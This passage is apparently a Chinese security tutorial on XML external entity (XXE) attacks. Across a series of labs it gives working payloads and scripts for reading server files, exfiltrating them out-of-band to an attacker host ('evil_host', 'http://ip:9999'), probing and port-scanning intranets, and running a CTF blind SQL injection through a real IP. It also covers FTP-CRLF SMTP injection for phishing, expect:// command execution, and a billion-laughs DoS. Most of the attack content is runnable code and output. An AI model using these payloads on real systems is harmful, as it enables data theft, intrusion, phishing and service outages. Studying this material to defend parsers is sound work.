我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

下面是重点:

重点一:

实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
示例代码:
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人
当然,还有一种引用方式是使用 引用公用 DTD的方法,语法如下:
1
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

重点二:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
```
#### 2.参数实体:
##### (1)使用 `% 实体名`(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 `%实体名;`引用
##### (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
##### (3)和通用实体一样,参数实体也可以外部引用
#### 示例代码:
```dtd
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

四、我们能做什么

上一节疯狂暗示了外部实体,那他究竟能干什么?
例如下面这段代码。
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
既然能读 dtd 那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?

实验一:有回显读本地敏感文件(Normal XXE)

这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件
本地服务器上放上解析 XML 的 php 代码:

示例代码:

xml.php
1
2
3
4
5
6
7
8
9
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
可以成功的读取到文件。
但是因为这个文件没有什么特殊符号,于是我们读取的时候可以说是相当的顺利,如果我们在文件中很多的特殊字符呢。
因此我们要用CDATA
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者” 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记
1
<![CDATA[
注意:
1
2
3
4
5
6
7
XXXXXXXXXXXXXXXXX

]]>

可以输入任意字符除了 ]]> 不能嵌套

用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA包起来
那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,但是怎么做到,我们来简答的分析一下:
首先,找到问题出现的地方,问题出现在
1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,”,’等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 “”,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法
注意,这里面的三个实体都是字符串形式,连在一起会报错,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在 xml 中调用,那么要想在 DTD
中拼接,我们知道我们只有一种选择,就是使用 参数实体
payload如下:
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>
evil.dtd
1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">
现在就可以来去自由的读取了。

新的问题出现

但是,你想想也知道,本身人家服务器上的 XML 就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带

新的解决方法

想要外带就必须能发起请求,那么什么地方能发起请求呢? 很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)

实验二:无回显读取本地敏感文件(Blind OOB XXE)

xml.php
1
2
3
4
5
6
7
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
我发现上面这段代码由于解析的问题将 send 前面的 HTML 实体转化成了 % ,虽然我在下面做出了一些解释,但是因为存在复制粘贴代码的行为,因此我决定还是在这里用图片的形式再次展示一下我的代码

payload:
1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
结果如下:

我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 &#37;),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

新的思考:

我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

新的利用:

所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议。

如图所示:

PHP在安装扩展以后还能支持的协议:
如图所示:

注意:

1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持

实验三:HTTP 内网主机探测

我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了
下面是一个探测脚本的实例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
返回的结果

实验四:HTTP 内网主机端口扫描

找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 进行端口探测
比如我们传入:
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
返回结果:
1
2
3
4
5
javax.xml.bind.UnmarshalException  
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Connection refused
这样就完成了一次端口探测。如果想更多,我们可以将请求的端口作为 参数 然后利用 bp 的 intruder 来帮我们探测
如下图所示:

至此,我们已经有能力对整个网段进行了一个全面的探测,并能得到内网服务器的一些信息了,如果内网的服务器有漏洞,并且恰好利用方式在服务器支持的协议的范围内的话,我们就能直接利用 XXE 打击内网服务器甚至能直接 getshell(比如有些 内网的未授权 redis 或者有些通过 http get 请求就能直接getshell 的 比如 strus2)

实验五:内网盲注(CTF)

2018 强网杯 有一道题就是利用 XXE 漏洞进行内网的 SQL 盲注的,大致的思路如下:
首先在外网的一台ip地址为 39.107.33.75:33899 的评论框处测试发现 XXE 漏洞,我们输入 xml 以及 dtd 会出现报错

如图所示:

既然如此,那么我们是不是能读取该服务器上面的文件,我们先读配置文件(这个点是 Blind XXE ,必须使用参数实体,外部引用 DTD )
1
/var/www/52dandan.cc/public_html/config.php
拿到第一部分 flag
1
2
3
4
5
6
<?php
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
....
?>
1
2
3
4
5
6
7
注意:

这里有一个小技巧,当我们使用 libxml 读取文件内容的时候,文件不能过大,如果太大就会报错,于是我们就需要使用 php
过滤器的一个压缩的方法

压缩:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
解压:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
然后我们考虑内网有没有东西,我们读取
1
2
/proc/net/arp
/etc/host
找到内网的另一台服务器的 ip 地址 192.168.223.18
拿到这个 ip 我们考虑就要使用 XXE 进行端口扫描了,然后我们发现开放了 80 端口,然后我们再进行目录扫描,找到一个 test.php ,根据提示,这个页面的 shop 参数存在一个注入,但是因为本身这个就是一个 Blind XXE ,我们的对服务器的请求都是在我们的远程 DTD 中包含的,现在我们需要改变我们的请求,那我们就要在每一次修改请求的时候修改我们远程服务器的 DTD 文件,于是我们的脚本就要挂在我们的 VPS 上,一边边修改 DTD 一边向存在 XXE 漏洞的主机发送请求,脚本就像下面这个样子
示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {
"name":"evil_man",
"email":"testabcdefg@gmail.com",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd">
%dtd;]>
"""
}

for i in range(0,28):
for j in range(48,123):
f = open('./evil.dtd','w')
payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">
%all;
%send;""".format('_'*i+chr(j)+'_'*(27-i))
f.write(payload2)
f.close()
print 'test {}'.format(chr(j))
r = s.post(url,data=data)
if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
result += chr(j)
print chr(j)
break
print result
这道题难度比加大,做起来也非常的耗时,所有的东西都要靠脚本去猜,因此当时是0解

实验六:文件上传

我们之前说的好像都是 php 相关,但是实际上现实中很多都是 java 的框架出现的 XXE 漏洞,通过阅读文档,我发现 Java 中有一个比较神奇的协议 jar:// , php 中的 phar:// 似乎就是为了实现 jar:// 的类似的功能设计出来的。
jar:// 协议的格式:
1
jar:{url}!{path}
实例:
1
2
3
jar:http://host/application.jar!/file/within/the/zip

这个 ! 后面就是其需要从中解压出的文件
jar 能从远程获取 jar 文件,然后将其中的内容进行解压,等等,这个功能似乎比 phar 强大啊,phar:// 是没法远程加载文件的(因此 phar:// 一般用于绕过文件上传,在一些2016年的HCTF中考察过这个知识点,我也曾在校赛中出过类似的题目,奥,2018年的 blackhat 讲述的 phar:// 的反序列化很有趣,Orange 曾在2017年的 hitcon 中出过这道题)

jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件
1
2
3
那么我们怎么找到我们下载的临时文件呢?

因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用
下面是我的一些测试过程:
我首先在本地模拟一个存在 XXE 的程序,网上找的能直接解析 XML 文件的 java 源码
示例代码:
xml_test.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package xml_test;
import java.io.File;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;

/**
* 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上
* @author zhanglong
*
*/
public class xml_test
{
public static void main(String[] args) throws Exception
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();

Document doc = db.parse(new File("student.xml"));
//获得根元素结点
Element root = doc.getDocumentElement();

parseElement(root);
}

private static void parseElement(Element element)
{
String tagName = element.getNodeName();

NodeList children = element.getChildNodes();

System.out.print("<" + tagName);

//element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
NamedNodeMap map = element.getAttributes();

//如果该元素存在属性
if(null != map)
{
for(int i = 0; i < map.getLength(); i++)
{
//获得该元素的每一个属性
Attr attr = (Attr)map.item(i);

String attrName = attr.getName();
String attrValue = attr.getValue();

System.out.print(" " + attrName + "=\"" + attrValue + "\"");
}
}

System.out.print(">");

for(int i = 0; i < children.getLength(); i++)
{
Node node = children.item(i);
//获得结点的类型
short nodeType = node.getNodeType();

if(nodeType == Node.ELEMENT_NODE)
{
//是元素,继续递归
parseElement((Element)node);
}
else if(nodeType == Node.TEXT_NODE)
{
//递归出口
System.out.print(node.getNodeValue());
}
else if(nodeType == Node.COMMENT_NODE)
{
System.out.print("<!--");

Comment comment = (Comment)node;

//注释内容
String data = comment.getData();

System.out.print(data);

System.out.print("-->");
}
}

System.out.print("</" + tagName + ">");
}
}
有了这个源码以后,我们需要在本地建立一个 xml 文件 ,我取名为 student.xml
student.xml
1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>
目录结构如下图:

可以清楚地看到我的请求是向自己本地的 9999 端口发出的,那么9999 端口上有什么服务呢?实际上是我自己用 python 写的一个 TCP 服务器

示例代码:

sever.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys 
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc

listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))

self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])

except Exception as e:
print ("get error at:"+str(e))


if __name__ == '__main__':

jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
这个服务器的目的就是接受客户端的请求,然后向客户端发送一个我们运行时就传入的参数指定的文件,但是还没完,实际上我在这里加了一个 sleep(30),这个的目的我后面再说
既然是文件上传,那我们又要回到 jar 协议解析文件的过程中了
1
2
3
4
5
jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件
那我们怎么找到这个临时的文件夹呢?不用想,肯定是通过报错的形式展现,如果我们请求的
1
jar:http://localhost:9999/jar.zip!/1.php
1.php 在这个 jar.zip 中没有的话,java 解析器就会报错,说在这个临时文件中找不到这个文件
如下图:

既然找到了临时文件的路径,我们就要考虑怎么使用这个文件了(或者说怎么让这个文件能更长时间的停留在我们的系统之中,我想到的方式就是sleep())但是还有一个问题,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符,这样就能完美的解决这个问题
下面是我的实验录屏:

实验就到这一步了,怎么利用就看各位大佬的了(坏笑)
在LCTF 2018 出了这样一个CTF题目,详细的 wp 可以看这篇文章

实验七:钓鱼:

如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼(一下实例来自fb 的一篇文章 )
Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。
但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:
示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25
当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:
示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25
这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。

实验八:其他:

除了上面实验中的一些常见利用以外还有一些不是很常用或者比较鸡肋的利用方式,为了完整性我在这一节简单的说一下:

1.PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
示例代码:
1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

2. 利用 XXE 进行 DOS 攻击

示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

五、真实的 XXE 出现在哪

我们刚刚说了那么多,都是只是我们对这个漏洞的理解,但是好像还没说这种漏洞出现在什么地方
如今的 web 时代,是一个前后端分离的时代,有人说 MVC 就是前后端分离,但我觉得这种分离的并不彻底,后端还是要尝试去调用渲染类去控制前端的渲染,我所说的前后端分离是,后端 api 只负责接受约定好要传入的数据,然后经过一系列的黑盒运算,将得到结果以 json 格式返回给前端,前端只负责坐享其成,拿到数据json.decode 就行了(这里的后端可以是后台代码,也可以是外部的api 接口,这里的前端可以是传统意义的前端,也可以是后台代码)
那么问题经常就出现在 api 接口能解析客户端传过来的 xml 代码,并且直接外部实体的引用,比如下面这个

实例一:模拟情况

示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>
我们发出 带有 xml 的 POST 请求以后,述代码将交由服务器的XML处理器解析。代码被解释并返回:{“Request Successful”: “Added!”}
但是如果我们传入一个恶意的代码
1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
如果没有做好“安全措施” 就会出现解析恶意代码的情况,就会有下面的返回
1
2
3
4
5
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

实例二:微信支付的 XXE

前一阵子非常火的微信支付的 XXE 漏洞当然不得不提,
漏洞描述:
微信支付提供了一个 api 接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品
我下载了 java 版本的 sdk 进行分析,这个 sdk 提供了一个 WXPayUtil 工具类,该类中实现了xmltoMap和maptoXml这两个方法,而这次的微信支付的xxe漏洞爆发点就在xmltoMap方法中
如图所示:

问题就出现在我横线划出来的那部分,也就是简化为下面的代码:
1
2
3
4
5
6
7
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
...
我们可以看到 当构建了 documentBuilder 以后就直接对传进来的 strXML 解析了,而不巧的是 strXML 是一处攻击者可控的参数,于是就出现了 XXE 漏洞,下面是我实验的步骤
首先我在 com 包下又新建了一个包,来写我们的测试代码,测试代码我命名为 test001.java
如图所示:

test001.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.test.test001;

import java.util.Map;

import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;

public class test001 {
public static void main(String args[]) throws Exception {

String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" +
"<!DOCTYPE XDSEC [\r\n" +
"<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" +
"<XDSEC>\r\n"+
"<XXE>&xxe;</XXE>\r\n" +
"</XDSEC>";

try{

Map<String,String> test = xmlToMap(xmlStr);
System.out.println(test);
}catch (Exception e){
e.printStackTrace();
}

}
}
我希望它能读取我 D 盘下面的 1.txt 文件
运行后成功读取
如图所示:

当然,WXPayXmlUtil.java 中有这个 sdk 的配置项,能直接决定实验的效果,当然后期的修复也是针对这里面进行修复的
1
2
3
4
http://apache.org/xml/features/disallow-doctype-decl true
http://apache.org/xml/features/nonvalidating/load-external-dtd false
http://xml.org/sax/features/external-general-entities false
http://xml.org/sax/features/external-parameter-entities false
整个源码我大佬打包好了已经上传到百度云,有兴趣的童鞋可以运行一下感受:
链接:https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw 提取码:xq1b

#####上面说过 java 中有一个 netdoc:/ 协议能代替 file:/// ,我现在来演示一下:

如图所示:

实例三:JSON content-type XXE

正如我们所知道的,很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击
原始请求和响应:
HTTP Request:
1
2
3
4
5
6
7
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}
HTTP Response:
1
2
3
4
5
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml

进一步请求和响应:

HTTP Request:
1
2
3
4
5
6
7
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}
HTTP Response:
1
2
3
4
5
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击
最终的请求和响应:
HTTP Request:
1
2
3
4
5
6
7
8
9
10
11
12
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
Http Response:
1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
